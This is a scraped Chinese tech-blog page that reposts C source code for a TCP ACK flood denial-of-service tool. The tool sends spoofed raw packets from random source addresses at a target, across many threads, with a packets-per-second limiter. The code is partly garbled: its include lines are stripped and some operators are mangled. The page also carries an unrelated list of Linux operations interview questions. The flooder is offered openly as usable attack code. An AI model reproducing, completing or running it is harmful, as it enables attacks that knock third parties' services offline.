ACK DDOS攻击.c 2021年8月9日 08:13 • 智能运维 /* * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;) */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define MAX_PACKET_SIZE 65534 #define PHI 0x9e3779b9 static unsigned long int Q[4096], c = 362436; volatile int limiter; volatile unsigned int pps; volatile unsigned int sleeptime = 100; void init_rand(unsigned long int x) { int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } } unsigned long int rand_cmwc(void) { unsigned long long int t, a = 18782LL; static unsigned long int i = 4095; unsigned long int x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q[i] + c; c = (t >> 32); x = t + c; if (x < c) { x++; c++; } return (Q[i] = r - x); } unsigned short csum (unsigned short *buf, int count) { register unsigned long sum = 0; while( count > 1 ) { sum += *buf++; count -= 2; } if(count > 0) { sum += *(unsigned char *)buf; } while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); } return (unsigned short)(~sum); } unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) { struct tcp_pseudo { unsigned long src_addr; unsigned long dst_addr; unsigned char zero; unsigned char proto; unsigned short length; } pseudohead; unsigned short total_len = iph->tot_len; pseudohead.src_addr=iph->saddr; pseudohead.dst_addr=iph->daddr; pseudohead.zero=0; pseudohead.proto=IPPROTO_TCP; pseudohead.length=htons(sizeof(struct tcphdr)); int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr); unsigned short *tcp = malloc(totaltcp_len); memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo)); memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr)); unsigned short output = csum(tcp,totaltcp_len); free(tcp); return output; } void setup_ip_header(struct iphdr *iph) { iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); iph->id = htonl(54321); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = 6; iph->check = 0; iph->saddr = inet_addr("192.168.3.100"); } void setup_tcp_header(struct tcphdr *tcph) { tcph->source = rand(); tcph->seq = rand(); tcph->ack_seq = rand(); tcph->res2 = 0; tcph->doff = 5; tcph->ack = 1; tcph->window = rand(); tcph->check = 0; tcph->urg_ptr = 0; } void *flood(void *par1) { char *td = (char *)par1; char datagram[MAX_PACKET_SIZE]; struct iphdr *iph = (struct iphdr *)datagram; struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr); struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = rand(); sin.sin_addr.s_addr = inet_addr(td); int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if(s < 0){ fprintf(stderr, "Could not open raw socket./n"); exit(-1); } memset(datagram, 0, MAX_PACKET_SIZE); setup_ip_header(iph); setup_tcp_header(tcph); tcph->dest = rand(); iph->daddr = sin.sin_addr.s_addr; iph->check = csum ((unsigned short *) datagram, iph->tot_len); int tmp = 1; const int *val = &tmp; if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){ fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!/n"); exit(-1); } init_rand(time(NULL)); register unsigned int i; i = 0; while(1){ sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin)); iph->saddr = (rand_cmwc() >> 24 & 0xFF) < < 24 | (rand_cmwc() >> 16 & 0xFF) < < 16 | (rand_cmwc() >> 8 & 0xFF) < < 8 | (rand_cmwc() & 0xFF); iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); iph->check = csum ((unsigned short *) datagram, iph->tot_len); tcph->seq = rand_cmwc() & 0xFFFF; tcph->source = htons(rand_cmwc() & 0xFFFF); tcph->check = 0; tcph->check = tcpcsum(iph, tcph); pps++; if(i >= limiter) { i = 0; usleep(sleeptime); } i++; } } int main(int argc, char *argv[ ]) { if(argc < 5){ fprintf(stderr, "Improper ACK flood parameters!/n"); fprintf(stdout, "Usage: %s /n", argv[0]); exit(-1); } fprintf(stdout, "Setting up Sockets.../n"); int num_threads = atoi(argv[2]); int maxpps = atoi(argv[3]); limiter = 0; pps = 0; pthread_t thread[num_threads]; int multiplier = 100; int i; for(i = 0;i maxpps) { if(1 > limiter) { sleeptime+=100; } else { limiter--; } } else { limiter++; if(sleeptime > 25) { sleeptime-=25; } else { sleeptime = 0; } } pps = 0; } return 0; } 原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/tech/aiops/57378.html 赞 (0) 0 0 生成海报 NSA局长:美军网络部队已处于战备状态 上一篇 2021年8月9日 08:13 ack DDOS攻击(另外一个版本).c 下一篇 2021年8月9日 08:13 相关推荐 关于 iOS 上的 PWA 应用,你需要知道些什么详解手机开发 2021年7月16日 企业网站如何登陆百度口碑 2022年4月22日 java实现栈详解程序员 2021年7月17日 如何利用SSH隧道加密技术隐蔽C&C通信流量 2021年11月20日 新蕾高颜值电动车,搭载8级增程系统,最大续航200公里以上 2022年10月24日 CentOS安装时,软件选择(Software Selection)项介绍 2023年11月15日 大数据社区整理的Linux运维笔试面试题(47题)Linux操作系统知识 1. Linux开机启动流程详细步骤是什么?忘记密码如何破解? 2. 企业中Linux数据库服务器做raid几,你们原来公司的数据库服务器大小?RAID 0 1 5 10区别,系统分区标准是什么? 3. 某一天突然发现Linux系统文件只读,该怎么办呢?写一下完整操作步骤,如果发现磁盘满了,需要重新挂载一块新硬盘,操作步骤是怎样的? 4. 给你50台Linux系统如何安装呢?如何实现,步骤是什么? 5. 用虚拟机安装了一台Linux系统,突然想克隆一台服务器,克隆后发现无法上网,如何解决? 6. Linux网卡配置文件路径是什么?要使服务器上外网,必须满足的条件有哪些?需要配置什么? 7. 一般可以使用什么软件远程linux服务器?通过什么上传文件和下载文件? 8. 查找当前目录下30天以前.log结尾的大于1G的文件,并把它移动到/tmp下。 9. 新增一块新硬盘如何实现?需要哪些步骤? 10. Apache两种工作方式的区别,如何创建多个虚拟主机呢? 11. 用一条命令,查看本机IP,并且只显示ip,其他字符不显示。 12. 查看某个端口是否已经启动,以及查看端口做占用的PID进程号。 Linux命令及文件操作 1. 在/tmp/目录下创建test.txt文件,内容为: Hello,World! ,用一个命令写出来。 2. 给test.txt文件除所有者之外增加执行权限,最终以数字写出文件的权限。 3. 用vi命令编辑test.txt,如何跳转到末行,首行,行首、行末,如何在光标行下一行插入,如何复制5行,删除10行,查找jingfeng的字符、把jingfeng替换为jfedu.net 4. 如何修改Linux启动级别为字符模式并永久生效,如何临时、永久关闭selinux及防火墙,请分别写出操作方法。 5. 你们公司上线的流程是什么?真实环境上线一个论坛需要哪些步骤? 6. 你每天在公司做什么工作? Linux磁盘及软件管理操作 1. 有个金士顿U盘,需要往服务器/var/www/html/目录下上传一个index.html文件,如何操作并完成。 2. 光盘里面有一个httpd-2.2.15.xx.rpm包,如何挂载并安装呢,如果查看这个rpm安装后的路径? 3. 使用rpm命令安装、卸载、删除、更新ntp-0.7.12.x86_64.rpm这个软包。 4. /var/www/html/是网站的发布目录,如何每天2点12点,每隔2小时对其进行自动备份,写出操作步骤? 5. 使用tar命令打包并压缩/root目录,然后移动到/tmp下,将其权限设置其他人只读。 6. Yum命令与rpm命令的区别?如何使用rpm安装一个有依赖的包? 7. Mysql数据库服务器为192.168.1.1,web网站ip为192.168.1.2,现在需要1.2访问mysql数据库discuz数据库,请写出授权命令。 8. Mysql查询中,查询abc用户是否存在,如何查询。 9. Mysql备份和恢复如何实现,你们公司的数据量多大,备份的策略是什么? 10. Mysql主从原理是什么?bin-log是干什么用的?主上100G数据,从库同步失败,差距很大,如何恢复? 11. 你们公司都使用什么监控,都分别来做什么? 12. 你维护网站的时候,出现过什么问题呢?故障如何解决呢? Linux服务配置及管理 1. 请写出apache2.X 版本的两种工作模式,以及各自工作原理。如何查看apache 当前所支持的模块,并且查看是工作在哪种模式下? 2. Linux下nfs在客户端无法挂载,请写出排查步骤? 3. Linux下已经部署了dhcp服务器,客户端无法获取的IP,如何解决? 4. 常见的FTP软件有哪些?Linux最常用的是?如何共享一个资源让他人使用用户名和密码访问? 5. 如何禁止FTP使用匿名用户登录?命令行如何访问ftp服务器? 6. Apache WEB服务器的发布目录在哪里? 7. Apache WEB服务器有几种工作模式,每种模式的简单区别? 8. MySQL服务器的用途是?Apache和mysql可以安装在一台机器吗?如何查看apache和mysql端口和进程? 9. 如何在虚拟机上面部署4个网站,访问的域名分别为www.a1.comtest.a1.com www.a2.comtest.a2.com? 10. 假设Apache 产生的日志文件名为 access_log,在 apache 正在运行时,执行命令 mv access_logaccess_log.bak,执行完后,请问新的 apache 的日志会打印到哪里,为什么? 11. 我们都知道 FTP 协议有两种工作模式,说说它们的大概的一个工作流程? 12. Linux 内核引导时,从哪个文件中读取要加载的文件系统。 13. 写出下面服务的常用端口ftp http dns snmp pop3、dhcp、nfs、mysql、samba等服务。 14. Mysql创建数据库的命令,创建表的命令,插入语句的命令? 15. Mysql备份命令?Mysql如何给root用户对jfedu授权访问,密码为jfedu.net,请写出命令? 16. Mysql忘记密码该如何操作呢? 17. Linux运维工程师都需要具备哪些技能和职业品质? 网上某位小伙伴针对该套题的回答,仅供参考: http://note.youdao.com/share/?id=cd9673625a91eeb2e3d9645900dc3509 本文链接:http://www.yunweipai.com/12026.html 2021年8月6日 微信应用号是什么?微信应用号介绍 2021年8月7日 婚外情网站泄露用户私密照片——偷情有风险,丢人丢钱丢性命 2021年8月7日 怎么安装Maltego的默认插件 2021年11月20日 发表回复 请登录后评论...登录后才能评论 提交